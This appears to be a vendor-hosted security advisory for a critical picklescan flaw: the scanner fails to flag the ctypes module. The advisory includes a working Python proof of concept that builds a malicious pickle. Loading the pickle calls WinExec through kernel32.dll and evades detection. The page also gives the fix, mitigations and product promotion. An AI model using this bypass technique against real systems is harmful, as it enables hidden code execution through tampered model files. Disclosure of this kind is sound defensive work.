GHSA-4675-36f9-wf6r is a critical-severity (CVSS 9.8) CWE-184 vulnerability in picklescan. O3 Security confirms whether GHSA-4675-36f9-wf6r is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Picklescan does not block ctypes
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4675-36f9-wf6r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4675-36f9-wf6r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4675-36f9-wf6r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4675-36f9-wf6r in your dependencies?
O3 detects GHSA-4675-36f9-wf6r across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.